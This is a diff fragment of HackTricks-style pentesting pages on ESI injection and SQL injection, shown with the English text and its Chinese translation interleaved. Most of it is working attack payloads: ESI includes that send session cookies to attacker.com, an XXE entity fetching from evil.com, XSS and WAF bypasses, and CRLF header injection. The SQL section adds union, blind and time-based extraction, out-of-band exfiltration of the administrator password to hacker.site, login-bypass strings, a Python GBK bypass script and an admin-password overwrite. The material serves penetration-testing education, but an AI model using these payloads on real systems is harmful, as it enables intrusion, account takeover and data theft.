如果**攻击者**能够在缓存内容中**注入一个ESI标签**,那么他就能够在文档发送给用户之前**注入任意内容**。
### ESI Detection
The following **header** in a response from the server means that the server is using ESI:
以下**头部**在服务器的响应中意味着服务器正在使用ESI
```
Surrogate-Control: content="ESI/1.0"
```
If you can't find this header, the server **might be using ESI anyways**.\
A **blind exploitation approach can also be used** as a request should arrive to the attackers server:
如果您找不到此头部,服务器**可能仍在使用 ESI**。\
**盲目利用的方法也可以使用**,因为请求应该到达攻击者的服务器:
```javascript
// Basic detection
hell<!--esi-->o
@ -94,36 +87,32 @@ hell<!--esi-->o
// Valid for Akamai, sends debug information in the response
<esi:debug/>
```
### ESI 利用
### ESI exploitation
[GoSecure 创建了](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) 一个表格,以了解我们可以针对不同 ESI 能力软件尝试的可能攻击,具体取决于支持的功能:
[GoSecure created](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) a table to understand possible attacks that we can try against different ESI-capable software, depending on the functionality supported:
- **Includes**: 支持 `<esi:includes>` 指令
- **Vars**: 支持 `<esi:vars>` 指令。用于绕过 XSS 过滤器
- **Cookie**: 文档 cookies 可被 ESI 引擎访问
- **Upstream Headers Required**: 代理应用程序不会处理 ESI 语句,除非上游应用程序提供头信息
- **Host Allowlist**: 在这种情况下ESI 包含仅可能来自允许的服务器主机,使得 SSRF 例如,仅可能针对这些主机
- **Includes**: Supports the `<esi:includes>` directive
- **Vars**: Supports the `<esi:vars>` directive. Useful for bypassing XSS Filters
- **Cookie**: Document cookies are accessible to the ESI engine
- **Upstream Headers Required**: Surrogate applications will not process ESI statements unless the upstream application provides the headers
- **Host Allowlist**: In this case, ESI includes are only possible from allowed server hosts, making SSRF, for example, only possible against those hosts
| **Software** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
| Squid3 | Yes | Yes | Yes | Yes | No |
| Varnish Cache | Yes | No | No | Yes | Yes |
| Fastly | Yes | No | No | No | Yes |
| Akamai ESI Test Server (ETS) | Yes | Yes | Yes | No | No |
| NodeJS esi | Yes | Yes | Yes | No | No |
| NodeJS nodesi | Yes | No | No | No | Optional |
| **软件** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
| :----------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
| Squid3 | Yes | Yes | Yes | Yes | No |
| Varnish Cache | Yes | No | No | Yes | Yes |
| Fastly | Yes | No | No | No | Yes |
| Akamai ESI 测试服务器 (ETS) | Yes | Yes | Yes | No | No |
| NodeJS esi | Yes | Yes | Yes | No | No |
| NodeJS nodesi | Yes | No | No | No | Optional |
#### XSS
The following ESI directive will load an arbitrary file inside the response of the server
以下 ESI 指令将在服务器的响应中加载任意文件
```xml
<esi:include src=http://attacker.com/xss.html>
```
#### Bypass client XSS protection
#### 绕过客户端 XSS 保护
```xml
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
@ -131,18 +120,14 @@ Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
```
#### 偷取 Cookie
#### Steal Cookie
- Remote steal cookie
- 远程偷取 Cookie
```xml
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
```
- Steal cookie HTTP_ONLY with XSS by reflecting it in the response:
- 通过在响应中反射来使用 XSS 偷取 HTTP_ONLY cookie
```bash
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
@ -151,41 +136,31 @@ Use <!--esi--> to bypass WAFs:
# It's possible to put more complex JS code to steal cookies or perform actions
```
#### 私有本地文件
#### Private Local File
Do not confuse this with a "Local File Inclusion":
不要将其与“本地文件包含”混淆:
```markup
<esi:include src="secret.txt">
```
#### CRLF
```markup
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```
#### Open Redirect
The following will add a `Location` header to the response
以下内容将向响应添加一个 `Location` 头部
```bash
<!--esi $add_header('Location','http://attacker.com') -->
```
#### 添加头部
#### Add Header
- Add header in forced request
- 在强制请求中添加头部
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
```
- Add header in response (useful to bypass "Content-Type: text/json" in a response with XSS)
- 添加响应头用于绕过带有XSS的“Content-Type: text/json”的响应
```bash
<!--esi/$add_header('Content-Type','text/html')/-->
@ -193,55 +168,45 @@ The following will add a `Location` header to the response
# Check the number of url_decode to know how many times you can URL encode the value
```
#### CRLF in Add header (**CVE-2019-2438)**
#### CRLF 在 Add 头部 (**CVE-2019-2438**)
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
```
#### Akamai debug
This will send debug information included in the response:
这将发送包含在响应中的调试信息:
```xml
<esi:debug/>
```
### ESI + XSLT = XXE
It's possible to use **`eXtensible Stylesheet Language Transformations (XSLT)`** syntax in ESI just by indicating the param **`dca`** value as **`xslt`**. Which might allow to abuse **XSLT** to create and abuse a XML External Entity vulnerability (XXE):
在 ESI 中使用 **`eXtensible Stylesheet Language Transformations (XSLT)`** 语法是可能的,只需将参数 **`dca`** 的值指示为 **`xslt`**。这可能允许滥用 **XSLT** 来创建和利用 XML 外部实体漏洞 (XXE)
```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
XSLT file:
XSLT 文件:
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
```
Check the XSLT page:
检查 XSLT 页面:
{{#ref}}
xslt-server-side-injection-extensible-stylesheet-language-transformations.md
{{#endref}}
### References
### 参考文献
- [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
- [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
- [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
## Brute-Force Detection List
## 暴力破解检测列表
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,20 +4,19 @@
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
[**RootedCON**](https://www.rootedcon.com/) **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。该大会的 **使命是促进技术知识**,是各个领域技术和网络安全专业人士的热烈交流平台。
{% embed url="https://www.rootedcon.com/" %}
## What is SQL injection?
## 什么是 SQL 注入?
An **SQL injection** is a security flaw that allows attackers to **interfere with database queries** of an application. This vulnerability can enable attackers to **view**, **modify**, or **delete** data they shouldn't access, including information of other users or any data the application can access. Such actions may result in permanent changes to the application's functionality or content or even compromision of the server or denial of service.
**SQL 注入** 是一种安全漏洞,允许攻击者 **干扰应用程序的数据库查询**。此漏洞使攻击者能够 **查看**、**修改** 或 **删除** 他们不应访问的数据,包括其他用户的信息或应用程序可以访问的任何数据。这些行为可能导致应用程序功能或内容的永久性更改,甚至可能导致服务器的泄露或拒绝服务。
## Entry point detection
When a site appears to be **vulnerable to SQL injection (SQLi)** due to unusual server responses to SQLi-related inputs, the **first step** is to understand how to **inject data into the query without disrupting it**. This requires identifying the method to **escape from the current context** effectively. These are some useful examples:
## 入口点检测
当一个网站由于对与 SQLi 相关的输入的异常服务器响应而 **看似易受 SQL 注入 (SQLi)** 攻击时,**第一步** 是了解如何 **在不干扰查询的情况下注入数据**。这需要有效识别 **逃离当前上下文** 的方法。以下是一些有用的示例:
```
[Nothing]
[Nothing]
'
"
`
@ -28,13 +27,11 @@ When a site appears to be **vulnerable to SQL injection (SQLi)** due to unusual
"))
`))
```
然后,您需要知道如何**修复查询以避免错误**。为了修复查询,您可以**输入**数据,以便**先前的查询接受新数据**,或者您可以直接**输入**您的数据并**在末尾添加注释符号**。
Then, you need to know how to **fix the query so there isn't errors**. In order to fix the query you can **input** data so the **previous query accept the new data**, or you can just **input** your data and **add a comment symbol add the end**.
_Note that if you can see error messages or you can spot differences when a query is working and when it's not this phase will be more easy._
### **Comments**
_请注意如果您能看到错误消息或在查询正常工作与不正常工作时能发现差异这个阶段将会更容易。_
### **注释**
```sql
MySQL
#comment
@ -60,31 +57,27 @@ SQLite
HQL
HQL does not support comments
```
### 使用逻辑运算进行确认
### Confirming with logical operations
确认 SQL 注入漏洞的可靠方法涉及执行 **逻辑运算** 并观察预期结果。例如,当 GET 参数 `?username=Peter` 修改为 `?username=Peter' or '1'='1` 时,如果返回相同的内容,则表明存在 SQL 注入漏洞。
A reliable method to confirm an SQL injection vulnerability involves executing a **logical operation** and observing the expected outcomes. For instance, a GET parameter such as `?username=Peter` yielding identical content when modified to `?username=Peter' or '1'='1` indicates a SQL injection vulnerability.
Similarly, the application of **mathematical operations** serves as an effective confirmation technique. For example, if accessing `?id=1` and `?id=2-1` produce the same result, it's indicative of SQL injection.
Examples demonstrating logical operation confirmation:
同样,应用 **数学运算** 作为有效的确认技术。例如,如果访问 `?id=1``?id=2-1` 产生相同的结果,则表明存在 SQL 注入。
演示逻辑运算确认的示例:
```
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
```
This word-list was created to try to **confirm SQLinjections** in the proposed way:
这个词汇表是为了尝试**确认SQL注入**而创建的:
{% file src="../../images/sqli-logic.txt" %}
### Confirming with Timing
In some cases you **won't notice any change** on the page you are testing. Therefore, a good way to **discover blind SQL injections** is making the DB perform actions and will have an **impact on the time** the page need to load.\
Therefore, the we are going to concat in the SQL query an operation that will take a lot of time to complete:
### 使用时间确认
在某些情况下,您**不会注意到任何变化**在您正在测试的页面上。因此,发现盲注入的一个好方法是让数据库执行操作,并对页面加载所需的**时间产生影响**。\
因此我们将在SQL查询中连接一个需要很长时间才能完成的操作
```
MySQL (string concat and logical ops)
1' + sleep(10)
@ -106,13 +99,11 @@ SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```
在某些情况下,**sleep 函数将不被允许**。然后,您可以使查询**执行复杂操作**这将需要几秒钟。_这些技术的示例将在每种技术上单独评论如果有的话_。
In some cases the **sleep functions won't be allowed**. Then, instead of using those functions you could make the query **perform complex operations** that will take several seconds. _Examples of these techniques are going to be commented separately on each technology (if any)_.
### Identifying Back-end
The best way to identify the back-end is trying to execute functions of the different back-ends. You could use the _**sleep**_ **functions** of the previous section or these ones (table from [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
### 识别后端
识别后端的最佳方法是尝试执行不同后端的函数。您可以使用上一节的_**sleep**_ **函数**或这些函数(来自 [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification) 的表):
```bash
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
@ -140,34 +131,32 @@ The best way to identify the back-end is trying to execute functions of the diff
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```
Also, if you have access to the output of the query, you could make it **print the version of the database**.
此外,如果您可以访问查询的输出,您可以使其**打印数据库的版本**。
> [!NOTE]
> A continuation we are going to discuss different methods to exploit different kinds of SQL Injection. We will use MySQL as example.
> 接下来我们将讨论利用不同类型的SQL注入的不同方法。我们将以MySQL为例。
### Identifying with PortSwigger
### 使用PortSwigger进行识别
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
## Exploiting Union Based
## 利用基于Union的注入
### Detecting number of columns
### 检测列数
If you can see the output of the query this is the best way to exploit it.\
First of all, wee need to find out the **number** of **columns** the **initial request** is returning. This is because **both queries must return the same number of columns**.\
Two methods are typically used for this purpose:
如果您可以看到查询的输出,这是利用它的最佳方法。\
首先,我们需要找出**初始请求**返回的**列数**。这是因为**两个查询必须返回相同数量的列**。\
通常使用两种方法来实现这一目的:
#### Order/Group by
To determine the number of columns in a query, incrementally adjust the number used in **ORDER BY** or **GROUP BY** clauses until a false response is received. Despite the distinct functionalities of **GROUP BY** and **ORDER BY** within SQL, both can be utilized identically for ascertaining the query's column count.
要确定查询中的列数,逐步调整**ORDER BY**或**GROUP BY**子句中使用的数字,直到收到错误响应。尽管**GROUP BY**和**ORDER BY**在SQL中具有不同的功能但两者可以相同地用于确定查询的列数。
```sql
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
#-1' UNION SELECT 1,2,3--+ True
```
```sql
@ -175,25 +164,21 @@ To determine the number of columns in a query, incrementally adjust the number u
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
#-1' UNION SELECT 1,2,3--+ True
```
#### UNION SELECT
Select more and more null values until the query is correct:
选择越来越多的空值,直到查询正确:
```sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
```
_您应该使用 `null` 值,因为在某些情况下,查询两侧的列类型必须相同,而 null 在每种情况下都是有效的。_
_You should use `null`values as in some cases the type of the columns of both sides of the query must be the same and null is valid in every case._
### Extract database names, table names and column names
On the next examples we are going to retrieve the name of all the databases, the table name of a database, the column names of the table:
### 提取数据库名称、表名称和列名称
在接下来的示例中,我们将检索所有数据库的名称、数据库的表名称、表的列名称:
```sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
@ -204,80 +189,67 @@ On the next examples we are going to retrieve the name of all the databases, the
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
```
_在每个不同的数据库中发现这些数据的方法各不相同但方法论始终相同。_
_There is a different way to discover this data on every different database, but it's always the same methodology._
## 利用隐藏的基于联合的注入
## Exploiting Hidden Union Based
当查询的输出可见,但基于联合的注入似乎无法实现时,这表明存在**隐藏的基于联合的注入**。这种情况通常会导致盲注入的情况。要将盲注入转变为基于联合的注入,需要识别后端的执行查询。
When the output of a query is visible, but a union-based injection seems unachievable, it signifies the presence of a **hidden union-based injection**. This scenario often leads to a blind injection situation. To transform a blind injection into a union-based one, the execution query on the backend needs to be discerned.
这可以通过使用盲注入技术以及特定于目标数据库管理系统DBMS的默认表来实现。为了理解这些默认表建议查阅目标DBMS的文档。
This can be accomplished through the use of blind injection techniques alongside the default tables specific to your target Database Management System (DBMS). For understanding these default tables, consulting the documentation of the target DBMS is advised.
一旦提取了查询,就需要调整你的有效载荷以安全地关闭原始查询。随后,将一个联合查询附加到你的有效载荷中,从而利用新可访问的基于联合的注入。
Once the query has been extracted, it's necessary to tailor your payload to safely close the original query. Subsequently, a union query is appended to your payload, facilitating the exploitation of the newly accessible union-based injection.
有关更全面的见解,请参阅完整文章 [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f)。
For more comprehensive insights, refer to the complete article available at [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
## Exploiting Error based
If for some reason you **cannot** see the **output** of the **query** but you can **see the error messages**, you can make this error messages to **ex-filtrate** data from the database.\
Following a similar flow as in the Union Based exploitation you could manage to dump the DB.
## 利用基于错误的注入
如果由于某种原因你**无法**看到**查询**的**输出**,但你可以**看到错误消息**,你可以利用这些错误消息来**提取**数据库中的数据。\
遵循与基于联合的利用相似的流程,你可以成功地转储数据库。
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```
## 利用盲注
## Exploiting Blind SQLi
In this case you cannot see the results of the query or the errors, but you can **distinguished** when the query **return** a **true** or a **false** response because there are different contents on the page.\
In this case, you can abuse that behaviour to dump the database char by char:
在这种情况下,您无法看到查询的结果或错误,但您可以**区分**查询何时**返回**一个**真**或**假**的响应,因为页面上的内容不同。\
在这种情况下,您可以利用这种行为逐字符地转储数据库:
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```
## 利用错误盲注
## Exploiting Error Blind SQLi
This is the **same case as before** but instead of distinguish between a true/false response from the query you can **distinguish between** an **error** in the SQL query or not (maybe because the HTTP server crashes). Therefore, in this case you can force an SQLerror each time you guess correctly the char:
这是**与之前相同的情况**,但不是区分查询的真/假响应,而是可以**区分**SQL查询中的**错误**与否可能是因为HTTP服务器崩溃。因此在这种情况下每次正确猜测字符时您可以强制产生一个SQL错误
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## 利用基于时间的 SQLi
## Exploiting Time Based SQLi
In this case there **isn't** any way to **distinguish** the **response** of the query based on the context of the page. But, you can make the page **take longer to load** if the guessed character is correct. We have already saw this technique in use before in order to [confirm a SQLi vuln](./#confirming-with-timing).
在这种情况下,**没有**任何方法可以根据页面的上下文来**区分**查询的**响应**。但是,如果猜测的字符是正确的,您可以使页面**加载时间更长**。我们之前已经看到过这种技术用于 [确认 SQLi 漏洞](./#confirming-with-timing)。
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
## 堆叠查询
## Stacked Queries
您可以使用堆叠查询来**连续执行多个查询**。请注意,尽管后续查询会被执行,但**结果**不会**返回给应用程序**。因此,这种技术主要用于与**盲漏洞**相关的情况在这种情况下您可以使用第二个查询触发DNS查找、条件错误或时间延迟。
You can use stacked queries to **execute multiple queries in succession**. Note that while the subsequent queries are executed, the **results** are **not returned to the application**. Hence this technique is primarily of use in relation to **blind vulnerabilities** where you can use a second query to trigger a DNS lookup, conditional error, or time delay.
**Oracle** 不支持 **堆叠查询**。**MySQL、Microsoft** 和 **PostgreSQL** 支持它们:`QUERY-1-HERE; QUERY-2-HERE`
**Oracle** doesn't support **stacked queries.** **MySQL, Microsoft** and **PostgreSQL** support them: `QUERY-1-HERE; QUERY-2-HERE`
## Out of band Exploitation
If **no-other** exploitation method **worked**, you may try to make the **database ex-filtrate** the info to an **external host** controlled by you. For example, via DNS queries:
## 脱带利用
如果**没有其他**利用方法**有效**,您可以尝试让**数据库将信息外泄**到您控制的**外部主机**。例如通过DNS查询
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
### Out of band data exfiltration via XXE
### 通过 XXE 进行带外数据泄露
```sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
```
## 自动化利用
## Automated Exploitation
查看 [SQLMap Cheatsheet](sqlmap/) 以利用 SQLi 漏洞与 [**sqlmap**](https://github.com/sqlmapproject/sqlmap)。
Check the [SQLMap Cheatsheet](sqlmap/) to exploit a SQLi vulnerability with [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
## 技术特定信息
## Tech specific info
We have already discussed all the ways to exploit a SQL Injection vulnerability. Find some more tricks database technology dependant in this book:
我们已经讨论了利用 SQL 注入漏洞的所有方法。在本书中找到一些更多依赖于数据库技术的技巧:
- [MS Access](ms-access-sql-injection.md)
- [MSSQL](mssql-injection.md)
@ -285,60 +257,51 @@ We have already discussed all the ways to exploit a SQL Injection vulnerability.
- [Oracle](oracle-injection.md)
- [PostgreSQL](postgresql-injection/)
Or you will find **a lot of tricks regarding: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
或者你会在 [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) 找到关于 MySQL、PostgreSQL、Oracle、MSSQL、SQLite 和 HQL 的 **大量技巧**
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
[**RootedCON**](https://www.rootedcon.com/) **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。该大会 **旨在促进技术知识**,是各个学科的技术和网络安全专业人士的一个热烈交流点。
{% embed url="https://www.rootedcon.com/" %}
## Authentication bypass
## 认证绕过
List to try to bypass the login functionality:
尝试绕过登录功能的列表:
{{#ref}}
../login-bypass/sql-login-bypass.md
{{#endref}}
### Raw hash authentication Bypass
### 原始哈希认证绕过
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
This query showcases a vulnerability when MD5 is used with true for raw output in authentication checks, making the system susceptible to SQL injection. Attackers can exploit this by crafting inputs that, when hashed, produce unexpected SQL command parts, leading to unauthorized access.
此查询展示了在身份验证检查中使用MD5并将原始输出设置为true时的漏洞使系统容易受到SQL注入攻击。攻击者可以通过构造输入来利用这一点这些输入在哈希后会生成意外的SQL命令部分从而导致未经授权的访问。
```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
```
### Injected hash authentication Bypass
### 注入哈希认证绕过
```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```
**推荐列表**
**Recommended list**:
You should use as username each line of the list and as password always: _**Pass1234.**_\
&#xNAN;_(This payloads are also included in the big list mentioned at the beginning of this section)_
您应该将列表中的每一行用作用户名,密码始终为: _**Pass1234.**_\
&#xNAN;_(这些有效载荷也包含在本节开头提到的大列表中)_
{% file src="../../images/sqli-hashbypass.txt" %}
### GBK Authentication Bypass
IF ' is being scaped you can use %A8%27, and when ' gets scaped it will be created: 0xA80x5c0x27 (_╘'_)
### GBK 认证绕过
如果 ' 被转义,您可以使用 %A8%27当 ' 被转义时将创建0xA80x5c0x27 (_╘'_)
```sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
```
Python script:
Python 脚本:
```python
import requests
url = "http://example.com/index.php"
@ -347,90 +310,76 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
```
### Polyglot injection (multicontext)
### 多语言注入(多上下文)
```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
## 插入语句
## Insert Statement
### 修改现有对象/用户的密码
### Modify password of existing object/user
为此,您应该尝试**创建一个名为“主对象”的新对象**(在用户的情况下可能是**admin**),修改某些内容:
To do so you should try to **create a new object named as the "master object"** (probably **admin** in case of users) modifying something:
- 创建名为:**AdMIn**(大小写字母)
- 创建名为:**admin=**
- **SQL 截断攻击**(当用户名或电子邮件有某种**长度限制**时)--> 创建名为:**admin \[大量空格] a**
- Create user named: **AdMIn** (uppercase & lowercase letters)
- Create a user named: **admin=**
- **SQL Truncation Attack** (when there is some kind of **length limit** in the username or email) --> Create user with name: **admin \[a lot of spaces] a**
#### SQL 截断攻击
#### SQL Truncation Attack
如果数据库存在漏洞并且用户名的最大字符数例如为30而您想要冒充用户**admin**请尝试创建一个名为“_admin \[30个空格] a_”的用户名和任意密码。
If the database is vulnerable and the max number of chars for username is for example 30 and you want to impersonate the user **admin**, try to create a username called: "_admin \[30 spaces] a_" and any password.
数据库将**检查**输入的**用户名**是否**存在**于数据库中。如果**不存在**,它将**截断****用户名**到**最大允许字符数**在这种情况下为“_admin \[25个空格]_”然后它将**自动删除末尾的所有空格**,在数据库中更新用户“**admin**”的**新密码**(可能会出现一些错误,但这并不意味着这没有成功)。
The database will **check** if the introduced **username** **exists** inside the database. If **not**, it will **cut** the **username** to the **max allowed number of characters** (in this case to: "_admin \[25 spaces]_") and the it will **automatically remove all the spaces at the end updating** inside the database the user "**admin**" with the **new password** (some error could appear but it doesn't means that this hasn't worked).
更多信息:[https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_注意在最新的 MySQL 安装中此攻击将不再按上述方式有效。虽然比较仍然默认忽略尾随空格但尝试插入一个超过字段长度的字符串将导致错误插入将失败。有关此检查的更多信息_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
_Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
### MySQL Insert time based checking
Add as much `','',''` as you consider to exit the VALUES statement. If delay is executed, you have a SQLInjection.
### MySQL 插入基于时间的检查
添加尽可能多的 `','',''` 以退出 VALUES 语句。如果执行了延迟,则您有 SQL 注入。
```sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### ON DUPLICATE KEY UPDATE
The `ON DUPLICATE KEY UPDATE` clause in MySQL is utilized to specify actions for the database to take when an attempt is made to insert a row that would result in a duplicate value in a UNIQUE index or PRIMARY KEY. The following example demonstrates how this feature can be exploited to modify the password of an administrator account:
`ON DUPLICATE KEY UPDATE` 子句在 MySQL 中用于指定当尝试插入一行导致 UNIQUE 索引或 PRIMARY KEY 中的重复值时,数据库应采取的操作。以下示例演示了如何利用此功能修改管理员账户的密码:
Example Payload Injection:
An injection payload might be crafted as follows, where two rows are attempted to be inserted into the `users` table. The first row is a decoy, and the second row targets an existing administrator's email with the intention of updating the password:
示例有效负载注入:
有效负载可能被构造如下,其中尝试将两行插入到 `users` 表中。第一行是诱饵,第二行针对现有管理员的电子邮件,目的是更新密码:
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
这是它的工作原理:
Here's how it works:
- 查询尝试插入两行:一行为 `generic_user@example.com`,另一行为 `admin_generic@example.com`
- 如果 `admin_generic@example.com` 的行已经存在,`ON DUPLICATE KEY UPDATE` 子句会触发,指示 MySQL 更新现有行的 `password` 字段为 "bcrypt_hash_of_newpassword"。
- 因此,可以使用 `admin_generic@example.com` 尝试身份验证,密码对应于 bcrypt 哈希("bcrypt_hash_of_newpassword" 代表新密码的 bcrypt 哈希,应替换为所需密码的实际哈希)。
- The query attempts to insert two rows: one for `generic_user@example.com` and another for `admin_generic@example.com`.
- If the row for `admin_generic@example.com` already exists, the `ON DUPLICATE KEY UPDATE` clause triggers, instructing MySQL to update the `password` field of the existing row to "bcrypt_hash_of_newpassword".
- Consequently, authentication can then be attempted using `admin_generic@example.com` with the password corresponding to the bcrypt hash ("bcrypt_hash_of_newpassword" represents the new password's bcrypt hash, which should be replaced with the actual hash of the desired password).
### 提取信息
### Extract information
#### Creating 2 accounts at the same time
When trying to create a new user and username, password and email are needed:
#### 同时创建 2 个账户
